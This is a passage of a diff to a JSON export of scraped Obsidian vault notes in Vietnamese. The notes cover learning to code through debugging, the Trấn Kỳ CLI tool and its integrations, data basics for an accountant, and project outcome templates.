lợi\r\n", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm/bài-viết \n%%\nBạn không muốn lệ thuộc.\n\nBạn muốn biết lập trình chứ không phải là không, nhưng:\n- Còn nhiều nhu cầu khác bạn phải xử lý, nên dù bạn cứ suy nghĩ rằng một ngày nào đó mình phải dành thời gian cho nó, nhưng mãi mà bạn vẫn không thể biến nó trở thành ưu tiên cao nhất\n- Tài liệu hướng dẫn mang danh là dành cho người mới, nhưng nó vẫn quá nhiều thứ với bạn\n\nVàààààààà đến một ngày bạn có một bài toán thực sự cần phải code, và bạn không thể nhờ ai khác code cho được. Thực sự là bạn phải xắn tay vào làm rồi.\n\nNhưng thực sự là bạn không thể thong thả để làm được. Bạn biết là việc học thì sẽ mất thời gian, và nếu nó cần phải mất nhiều thời gian thì bạn cũng phải chịu thôi nhưng bạn vẫn cảm thấy mình cần phải . Cái trạng thái đó không phải là cái trạng thái phù hợp cho việc học, nhưng the brain is funny.\n\nViệc nhảy ngang như vậy làm cho không một tài liệu hướng dẫn nào theo kịp bạn. Vì muốn hướng dẫn bạn thì phải áng chừng được trình độ bạn đang ở đâu. Và một code product thì người ta không kỳ vọng rằng phải giải thích tất cả những thứ căn bản\n[[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]\n\nLao ngay vào code trong product thì hổng kiến thức do nhiều chỗ viết tắt cho dễ đọc, dễ quản lý. Học từ từ thì thấy lãng phí thời gian.\nĐể đọc được tới dòng này là cả một sự nỗ lực ở lại của bạn. Dù bạn có từng đọc bao nhiêu trang khác rồi thì \nChỉ ghi lại những thứ mất nhiều thời gian để nhận ra. Cái nào dễ thấy thì ko ghi \n- muốn nhưng google được là có thì không ghi. Khi nào bị bug rồi mới phát hiện ra một cái gì đó mà không thấy ai nói gì thì mới ghi\n- Nếu cản trở sự đọc hiểu mà phải google thì cũng ghi ra \n\n\n\n[[❓ Học code bằng việc debug product code sẽ nhanh hơn]]\nNó là cách học qua bắt chước\nGit blame\nHướng dẫn đọc hiểu code cho người rất lờ mờ về code\nBiết được cách debug là sẽ dần dần biết cách bắt chước\nLàm trên code sản phẩm là sát sườn nhất\ncố gắng tái tạo lại ý đồ của người viết lúc tạo ra đoạn code đó\nnói gì, bạn muốn biết phải bắt đầu google từ đâu, nhưng \n\nMột số thứ sẽ giúp bạn hiểu code nói gì:\n- Biết thao tác với IDE,\n- Hiểu được một số khái niệm và từ khoá cơ bản: object, method, array, for, if, import, function, type\n- Hiểu một số quy ước viết code\n- Hiểu được IDE đang cố gắng nói cho mình cái gì\n- Biết một số kỹ thuật debug: console.log, debugger, unit test\n# Thao tác với IDE\n[[Phím tắt cho VS Code]]\n\n# Hiểu quy tắc viết tài liệu\n```js\n/**\n * Tên hàm\n * @constructor\n * @param {string} title - The title of the book.\n * @param {string} author - The author of the book.\n */\nfunction hàm(biến1, biến2) {\n}\n```\n\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "On" + "Ngày tạo": "2023-07-13T12:21:00.000Z", + "Ngày cập nhật": "2024-07-30T08:45:00.000Z", + "id": "O_" }, { - "Tiêu đề": "Người muốn quản lý dự án, tổ chức", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người muốn quản lý dự án, tổ chức", + "Tiêu đề": "Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo mục tiêu/Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Niềm tin về họ:: Họ không có một cách để thấy được nhu cầu đối tác thuận lợi\r\n", + "Mô tả bài đăng": "Nhập dữ liệu và tạo bảng phân loại ngay trên hệ thống bạn đang dùng", + "Toàn bộ nội dung": "Nếu bạn đang tìm một chương trình:\n- [x] Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\n- [x] Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\n- [x] Tích hợp được vào hệ thống vận hành hiện tại của bạn:\n - Đầu vào: báo cáo ngân hàng, hoá đơn bán lẻ, Google Keep, Discord, Telegram, Zalo, Messenger, v.v.\n - Đầu ra: Google Sheet, Notion, Obsidian, Fibery, Odoo, WordPress, SQL, v.v. \n- [x] Không giam dữ liệu của bạn tại chương trình \n- [x] Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\n- [x] Dùng được trên điện thoại khi không có mạng\n- [x] Là phần mềm tự do và mã nguồn mở\n\nThì Trấn Kỳ CLI là dành cho bạn.\n\n![Giao diện khởi động của Trấn Kỳ CLI](https://i.imgur.com/rBe2iQ9.png)\n\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\n### Nhập liệu từ Google Keep\nGoogle Keep là một phần mềm ghi chú rất phổ biến với mọi người. Nó:\n- Có trên iOS, Android và web\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\n- Hoàn toàn miễn phí\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\n- Sử dụng giọng nói\n- Nhập số lượng lớn\n\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\n\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \n![[Ξ Thiết lập/Ảnh/Trấn Kỳ/Keep to Fibery.png]]\n\n### Tổng hợp công việc hoặc quỹ ngay trên phòng chat (Discord, Slack)\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\n\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\n\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\n\n### Tự động tạo liên kết UTM cho việc tiếp thị trực tuyến\n#### Liên kết có tham số UTM là gì?\nĐể có thể đo lường hiệu quả các chiến dịch truyền thông trực tuyến trên Google Analytics, các tham số UTM sẽ được thêm vào đằng sau liên kết. Ví dụ, nếu bạn gửi liên kết `https://quảcầu.cc` lên nhóm *Vùng đất Quả Cầu* và ở cả ở ngoài nhóm, thì Google Analytics sẽ không biết được có bao nhiêu người trong nhóm bấm vào và bao nhiêu người ngoài nhóm bấm vào. Nhưng nếu bạn thêm tham số UTM vào sau liên kết, ví dụ `https://quảcầu.cc/?source=Vùng đất Quả Cầu`, và chỉ gửi liên kết này vào nhóm, thì bạn sẽ biết được đã có bao nhiêu người từ nhóm bấm vào.\n\nCó nhiều loại tham số UTM, như `source`, `medium`, `campaign`, v.v. Mỗi tham số có những giá trị riêng phải điền, nhưng nhiều lúc chỉ cần biết một cái thì sẽ suy ra được cái còn lại. Ví dụ, đăng một bài trong chiến dịch A thì `campaign` chắc chắn là A, nơi đăng là một nhóm Facebook thì `source` chắc chắn chứa tên nhóm đó, và `medium` chắc chắn là `social`, v.v.\n\n#### Vấn đề\nCó những công cụ để giúp xây những liên kết UTM như vậy (gọi là UTM builder), nhưng chúng không tự động điền những giá trị có thể tự suy đoán được. Nếu dự án của bạn có nhiều bài viết khác nhau dành cho nhiều loại đối tượng khác nhau, việc phải làm thủ công từng liên kết như vậy sẽ tốn nhiều thời gian, nhàm chán và có thể làm đau tay. Chưa kể nếu có nhiều người cùng đăng bài thì cũng có thể tạo ra sự không nhất quán. \n\n#### Giải pháp\nNếu tất cả những gì bạn cần chỉ là tên bài viết và nơi đăng là đủ để tạo được liên kết đầy đủ thì Trấn Kỳ sẽ tự động hoá được vấn đề này. Nó là một chương trình tự động phân loại, gắn nhãn thông tin theo thói quen và cách sắp xếp của riêng bạn bằng tiếng Việt tự nhiên, và mình đã viết thêm chức năng để nó làm được công việc này. Ví dụ:\n- `obsidian vùng đất quả cầu` → Tạo `https://obsidian.quảcầu.cc/?source=Vùng đất Quả Cầu&medium=social&campaign=Công cụ nghĩ`\n- `obs vdqc` → Tạo liên kết tương tự như trên, nhưng chỉ dùng mã sản phẩm và tên viết tắt\n\nCác chức năng mở rộng khác:\n- Tự động cập nhật các bài viết mới trên web của bạn\n- Tự động lấy trang web bạn đang mở để làm `source` \n- Tự động xử lý punycode (cho phần tên miền) và percent-encode (cho phần URI) \n- Tự động tạo liên kết rút gọn và tạo chuyển hướng trên máy chủ\n- Tự động chép liên kết vào clipboard\n\nĐiều này sẽ giúp bạn lấy được liên kết có tham số UTM cần thiết ngay tại nơi bạn đang tương tác một cách tức thời (\"tại đây, bây giờ\").\n\n![](https://i.imgur.com/SIG0zj7.png)\n\n### Lưu kết quả tiếp thị trên mạng xã hội\nChỉ dùng khi không cào được web\n### Tạo thông tin chứng từ cho kế toán\n### Hệ thống chấm điểm cảm xúc\nDành cho người hay quên rằng mình có nhiều \n\n## Các tính năng hỗ trợ khác (a.k.a. yêu cầu phi chức năng) \n- **Viết cho người Việt** nên:\n\t- Xử lý được từ ghép và [[Tiếng Việt có 2 cách đặt dấu thanh|các cách đặt dấu thanh khác nhau]]\n\t- Tên biến, tên hàm hoàn toàn bằng tiếng Việt\n- **Viết cho người cần sử dụng trên các webapp khác** như Fibery, Google Sheet nên:\n\t- Chỉ sử dụng JavaScript thuần \n\t- Đảm bảo regex không chạy lâu\n\t- Có sẵn build script để chuyển từ TypeScript sang JavaScript\n- **Viết cho người không muốn bị ràng buộc vào một nền tảng nào** nên sẽ là một chương trình mã nguồn mở và tự do\n- **Viết cho người phải tự học lập trình** nên:\n\t- Có rất nhiều ghi chú, hướng dẫn để cung cấp các khái niệm thiết yếu, giúp bạn xây dựng mental model cho code, để bạn hiểu được cái cách một lập trình viên kiến trúc nên một chương trình thế nào\n\t- Tên commit cố gắng tuân thủ [conventional commit](https://www.conventionalcommits.org/en/v1.0.0/)\n\t- Có script kiểm thử\n\n> [!Important] Vault Obsidian *Tiếp thị số, xử lý dữ liệu và lập trình*\n> Trong quá trình viết Trấn Kỳ, Đây là vault bổ sung cho [Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.xn--qucu-hr5aza.cc/?utm_source=CW+%C2%BB+X%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh&utm_campaign=C+H%E1%BB%97+tr%E1%BB%A3+ng%C6%B0%E1%BB%9Di+t%E1%BB%B1+h%E1%BB%8Dc+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+ho%E1%BA%B7c+ki%E1%BA%BFn+th%E1%BB%A9c&utm_term=%C4%90%E1%BB%8Dc+b%C3%A0i+vi%E1%BA%BFt+tr%C3%AAn+web \"Obsidian, quản lý dự án và công cụ nghĩ\"), tập trung vào việc xử lý dữ liệu và lập trình. Nó được sinh ra trong quá trình bọn mình viết [Trấn Kỳ]([https://xn--lptrnh-zva6402d.xn--qucu-hr5aza.cc/👏Trấn](https://xn--lptrnh-zva6402d.xn--qucu-hr5aza.cc/%F0%9F%91%8FTr%E1%BA%A5n) Kỳ/ \"Trấn Kỳ\"), và cũng được sử dụng như tài liệu hướng dẫn cho nó. Nếu bạn muốn tìm một nguồn tài liệu để học một cách bài bản thì không nên vào đây. Nhưng nếu mục tiêu của bạn là làm xong những công việc khác, mà để làm được chúng trôi chảy bạn phải học lập trình, và bạn muốn tìm những bài viết thật ngắn nhưng đủ để hiểu khái niệm để còn làm việc được tiếp (như khi bọn mình cần phải học để còn viết xong Trấn Kỳ), thì có thể một số thứ trong đây sẽ hữu ích cho bạn.\n\n## Lấy mã nguồn và tham gia các buổi hướng dẫn\nVậy, nếu bạn có mong muốn hiện thực hoá điều này, Quả Cầu sẽ cung cấp cho bạn cơ hội để hợp tác thực hiện thông qua việc đăng ký nhu cầu và tự định giá nhu cầu trong phiếu đăng ký dưới đây. \n\nVề vấn đề đăng ký nhu cầu, Quả Cầu khuyến khích bạn nêu rõ lý do bạn muốn tham gia và đồng thời **thiết kế lộ trình làm việc và kết quả đầu ra** phù hợp với nhu cầu phát triển dự án cá nhân của bạn (nếu có) dựa trên gợi ý như sau:\n- Thời gian: 1 buổi (3-4 tiếng online/offline) để bạn cài đặt và hiểu công cụ + 2 tuần sau buổi đào tạo đầu tiên (hỗ trợ qua chat mỗi ngày và 2 buổi gặp mặt online/offline) để Quả Cầu trao đổi, tư vấn với bạn trong việc ứng dụng công cụ cho dự án cá nhân. \n- Nội dung:\n - Cài đặt và sử dụng các công cụ, ngôn ngữ lập trình (VS Code, Git, PowerShell, TypeScript) \n - Lấy mã nguồn và chạy trên terminal\n - Hiểu về vật thể và API. Hiểu điều IDE đang cố gắng nói cho mình\n - Hiểu các vật thể và API của Trấn Kỳ\n - Viết API để tích hợp vào hệ thống của bạn\n\nVề vấn đề tự định giá, Quả Cầu cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn** vì đây là dự án phục vụ nhu cầu và dựa trên thiết kế lộ trình làm việc của bạn. Với nhu cầu và thiết kế đó, Quả Cầu khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận).\n\nSau khi xem xét các đăng ký, Quả Cầu sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\nĐọc thêm các bài sau đây để hiểu hơn về ý tưởng này:\n- [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n- [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n- [[Lý do viết Trấn Kỳ]]\n\nThông tin liên hệ:\n\n- **Facebook:** [https://www.facebook.com/qua.cau.the.sphere](https://www.facebook.com/qua.cau.the.sphere)\n- **Email:** quacau.thesphere@gmail.com\n\nRất mong được đồng hành cùng bạn.\n\n[[Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Oo" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-20T14:26:00.000Z", + "id": "P0" }, { - "Tiêu đề": "Người muốn xây dựng cộng đồng hoặc mạng lưới", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người muốn xây dựng cộng đồng hoặc mạng lưới", + "Tiêu đề": "Hiểu về dữ liệu cho người làm kế toán", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo mục tiêu/Hiểu về dữ liệu cho người làm kế toán", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Niềm tin về họ:: Họ không có một cách để thấy được nhu cầu đối tác thuận lợi\r\n", + "Toàn bộ nội dung": "![[Pasted image 20240221020431.png]]\n\n## Các vấn đề về Excel \n```dataview\nlist\nfrom \"⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel\" \n```\n\n## Chương trình Beancount\nDemo:\n- Đầu vào: [\"Managing Your Finances Using Python\" - Brian Ryall - YouTube](https://www.youtube.com/watch?v=mFzctYkktXQ)\n- Đầu ra: [Income Statement - Example Beancount file](https://fava.pythonanywhere.com/example-beancount-file/income_statement/)\n\n| Đặc điểm | Lợi ích |\n| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Viết bằng Python | Cơ hội để thực hành Python |\n| Là chương trình bút toán kép | Ứng dụng được ngay vào công việc của chị |\n| Dùng được trên CLI |
  • [Cơ hội làm quen với terminal](https://lậptrình.quảcầu.cc/✍️Lập%20trình/Hệ%20điều%20hành,%20path%20và%20terminal/Terminal,%20shell,%20console/Terminal%20là%20cái%20chương%20trình%20để%20làm%20việc%20với%20shell?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=), công cụ giúp chị bước vào cái lõi của hệ điều hành
  • Thấy được bản chất của việc đấu nối các phần mềm lại với nhau thế nào. Có thể minh hoạ việc này bằng việc kết hợp nó với Trấn Kỳ
  • |\n| Dữ liệu chương trình lưu dưới dạng tập tin | Hiểu được giá trị của việc lưu dữ liệu tại máy người dùng. Hiểu được việc dùng [Git](https://lậptrình.quảcầu.cc/📊Tổ%20chức%20dữ%20liệu.%20Phân%20tích%20dữ%20liệu/Tổ%20chức%20dữ%20liệu/Git/Git%20giúp%20ta%20du%20hành%20thời%20gian?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=) |\n| Tạo lệnh truy vấn phức tạp được | Tương tự SQL nên cũng giúp làm quen với SQL được |\n| Điều khiển hoàn toàn bằng bàn phím | Giảm đau cổ tay do phải cầm chuột nhiều, nhưng sẽ phải chịu khó đọc hướng dẫn sử dụng |\n| Là phần mềm tự do | Thấy được [[Khi nói đến mã nguồn mở, đa số chỉ để ý tới việc được đọc mã nguồn, chứ không để ý đến quyền được chỉnh sửa và phân phối nó\\|các phần mềm mã nguồn đóng đã xiềng xích mình đến mức độ nào]] |\n| Miễn phí | Cắt giảm chi phí mua phần mềm |\n| Có sẵn trang báo cáo | Đỡ phải tạo trang báo cáo riêng |\n\nCân nhắc:\n- Em chưa dùng nó bao giờ, thuật ngữ kế toán em cũng không rành\n- Các giải pháp dữ liệu khác như PowerBI có thể cũng đáp ứng được các nhu cầu này. Nó sẽ tuỳ vào việc chị muốn một phần mềm chuyên môn hoá hay có khả năng linh hoạt\n\nXem thêm:: [So sách chức năng của Misa với Beancount](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-kế-toán?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n\n## Trấn Kỳ\n[Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n\n\n---\n## Tổng quan\nĐầu tiên, em muốn giải thích một chút về ngành công nghệ thông tin. Ngành này chia ra 4 chuyên môn chính:\n- **Khoa học máy tính:** hiểu biết chung về máy tính\n- **Kỹ thuật phần mềm:** ứng dụng những hiểu biết về máy tính trong việc bảo nó làm điều mình cần nó làm (lập trình, tự động hoá, viết code) \n- **Hệ thống thông tin:** ứng dụng của việc viết code đó vào việc quản lý thông tin nội bộ. Các ERP, CRM là những ví dụ\n- **Phân tích dữ liệu:** ứng dụng của việc viết code đó vào việc tạo báo cáo và thêm insight. Đây là cái chị cần\n\n## Phân tích dữ liệu\nMột nghiệp vụ liên quan đến dữ liệu thường có 4 bước sau đây:\n- Thu thập dữ liệu\n- Lưu trữ dữ liệu\n- Xử lý dữ liệu\n- Báo cáo dữ liệu\n\nThì cũng tương tự như trên, em dự đoán mình có thể trả lời khoảng 70% những thắc mắc của chị liên quan tới 3 cái đầu, còn cái cuối thì không nhiều lắm. Mà có lẽ bước đó là cái chị quan tâm nhất.\n\nTrong mục xử lý dữ liệu có một số chủ đề nữa:\n- Xử lý ngôn ngữ tự nhiên\n- Máy học và trí tuệ nhân tạo\n\nNhững cái này là cái mà em nghĩ chị nói tới khi nói \"cập nhật xu thế công nghệ\", vì khá nhiều xu thế công nghệ thực ra chỉ là 2 cái này. Em tự tin có thể nói về cái đầu và chắc đủ để nói về cái sau.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Op" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-20T14:15:00.000Z", + "id": "P1" }, { - "Tiêu đề": "Người tò mò về Obsidian", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người tò mò về Obsidian", + "Tiêu đề": "3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", @@ -25641,2889 +25828,2933 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Oq" + "id": "P2" }, { - "Tiêu đề": "Người có viết plugin", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người có viết plugin", + "Tiêu đề": "50% người xây vault kết nối nhu cầu của mình tới vault chung", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng khám phá các vault khác/50% người xây vault kết nối nhu cầu của mình tới vault chung", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Or" + "id": "P3" }, { - "Tiêu đề": "Người tham gia thầm lặng kênh Obsidian tiếng Việt", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người tham gia thầm lặng kênh Obsidian tiếng Việt", + "Tiêu đề": "20% người tham gia liên thông dữ liệu với các vault khác", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng liên thông dữ liệu/20% người tham gia liên thông dữ liệu với các vault khác", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "%%\r\n#tt/chưa-hoàn-thành \r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[40% người tham gia biết dùng Git]]\r\n\r\nThành phẩm:: [[Các bài học trên vault]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Os" + "id": "P4" }, { - "Tiêu đề": "Người tham gia tích cực kênh Obsidian tiếng Việt", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người tham gia tích cực kênh Obsidian tiếng Việt", + "Tiêu đề": "40% người tham gia biết dùng Git", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng liên thông dữ liệu/40% người tham gia biết dùng Git", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ot" + "id": "P5" }, { - "Tiêu đề": "Người đã dùng Git mức 1", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Git mức 1", + "Tiêu đề": "50% người đóng góp đáp ứng được các nhu cầu khác của họ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng liên thông dữ liệu/50% người đóng góp đáp ứng được các nhu cầu khác của họ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Thành quả hỗ trợ:: [[50% người xây vault kết nối nhu cầu của mình tới vault chung]]\r\nThành quả hỗ trợ:: [[10% người xây vault ủng hộ tiền]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ou" + "id": "P6" }, { - "Tiêu đề": "Người đã dùng Git mức 2", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Git mức 2", + "Tiêu đề": "100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng mở vault hướng dẫn Obsidian/100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ 